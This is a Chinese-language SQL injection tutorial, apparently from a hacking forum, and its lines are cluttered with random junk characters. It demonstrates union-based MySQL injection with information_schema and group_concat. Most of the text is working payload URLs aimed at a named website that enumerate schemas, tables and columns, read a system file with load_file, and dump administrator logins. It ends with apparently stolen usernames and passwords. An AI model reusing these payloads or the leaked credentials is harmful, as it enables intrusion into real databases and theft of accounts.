此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似9 V& |8 a+ S. r# \* f+ d, ^2 P% _
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
; j* U2 G! o9 _6 K2 s# i& ^ o7 X8 E. c! b6 E
* F: K* e1 ]* R优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
6 o2 U8 ^; {' E% I- I3 ]( l3 ~* m8 ^4 i/ }9 _: O) J
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
9 Q+ h6 W ^8 a$ {' S0 k' _
* o: ]. i% p% z/ ?下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示5 y1 J, P3 y+ k0 n& U% X( w, S
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等- y; |* M! D& B; d4 a3 U( j
3 i7 Z' F; f$ u( n( e# q+ f6 @7 ^9 r
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
" E, c+ }+ G, f1 B4 S' _! v1 s$ E: B* Y
读出所有库:( _4 f& q4 q6 c% Q1 P
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA& |- ]* t5 _+ l" m$ u# I( V
1 L. U) j {* k( p% `
& d2 G8 F5 Y) t4 \' U* F! S6 n3 [4 t# U" V: A# e
读出所有表:
, `: t- m% v: b' C. P: D/ Vhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()# ^; V H5 C7 j6 l+ d
R; R/ F0 @8 D9 E' W/ K
读出所有表字段:
$ J( f7 n9 ^5 c% v/ ~$ p; Ihttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
- f* J: _) D( S" a" z. n*/ (97,100,109,105,110)为admin的ascii码 依次类推) g6 y! R% Q N3 T* j* t
% J& g5 O% P5 P" z( o; p读出所有表字段里的内容:" M; B; T# e, N: ^1 ^1 t) ]
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin5 w: ^4 V$ j7 k. A
3 O6 L. o0 V& ]. B- l; I9 v/ V/ W: V6 v8 b
, X, s2 s/ I, ?, B# e2 D6 l+ H: I. F; [$ {; ]* M
. _; q4 L/ t; q& |' b# k* @3 e2 d
5 H5 F' ~" I; q; B& `
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23$ z& N) m, z" c0 G9 B @
& X1 \( A7 c3 ?
/ T0 P# K& S$ B( e) H/ Phttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
, c# k% j L) a( q, v( T$ X q/ s/ [$ O) f
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
; w9 n0 Q8 ?. O! m) P8 L8 \
& s. Y& ]: V! c. k
! d* V& X4 ?. C8 u0 bhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23) O, O! _" K( R7 }4 y% _* D Q
1 Q d7 e9 }' X5 a
' B* x4 M% H4 x7 A! L6 x
webmaster:dzb521123,simlab:simadmin20043233
/ ^! R! h7 j+ h7 R7 \1 d/ w |